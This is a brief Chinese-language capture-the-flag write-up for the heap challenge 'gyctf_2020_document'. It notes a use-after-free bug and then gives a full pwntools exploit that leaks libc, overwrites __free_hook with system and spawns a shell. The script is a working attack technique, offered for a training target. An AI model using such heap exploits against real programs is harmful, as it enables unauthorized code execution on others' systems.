image.png
    漏洞在这
    image.png
    我们可以看到这里free不仅没有清零而且还只free掉一个堆块而已,所以这里就存在问题了

    1. from pwn import*
    2. from LibcSearcher import*
    3. #context.log_level = 'debug'
    4. #context.arch = 'amd64'
    5. io =process('./gyctf_2020_document')
    6. io = remote("node4.buuoj.cn",27184)
    7. elf = ELF('./gyctf_2020_document')
    8. libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    9. libc = ELF('libc-2.23.so')
    10. def debug():
    11. gdb.attach(io)
    12. pause()
    13. def creat(name,sex,value):
    14. io.sendlineafter(":",'1')
    15. io.sendafter("name",name)
    16. io.sendafter("sex",sex)
    17. io.sendafter("information",value)
    18. def show(id):
    19. io.sendlineafter(":",'2')
    20. io.sendafter(":",str(id))
    21. def edit(id,sex,value):
    22. io.sendlineafter(":",'3')
    23. io.sendafter(":",str(id))
    24. io.sendafter("?",sex)
    25. io.sendafter("information",value)
    26. def free(id):
    27. io.sendlineafter(":",'4')
    28. io.sendafter(" :",str(id))
    29. creat(b'a'*8,'w',b'a'*0x70)#0
    30. creat(b'b'*8,'w',b'b'*0x70)#1
    31. #debug()
    32. free(0)
    33. show(0)
    34. libcbase = u64(io.recvuntil("\x7f")[-6:].ljust(8,"\00")) - 3951480
    35. #debug()
    36. log.info("libcbase------------->"+hex(libcbase))
    37. creat("/bin/sh\x00","/bin/sh\x00"+'\n',b'c'*0x70)#2
    38. #debug()
    39. free(1)
    40. creat("/bin/sh\00","/bin/sh\x00"+'\n',b'd'*0x70)
    41. free_hook_addr = libc.sym['__free_hook']+libcbase
    42. system_addr = libc.sym["system"]+libcbase
    43. log.info("system_addr------->"+hex(system_addr))
    44. #debug()
    45. payload = p64(0)+p64(0x21)+p64(free_hook_addr-0x10)+p64(1)+p64(0)+p64(0x51)
    46. edit(0,'n',payload.ljust(112,'a'))
    47. edit(3,'n',p64(system_addr).ljust(112,'a'))
    48. free(2)
    49. #debug()
    50. io.interactive()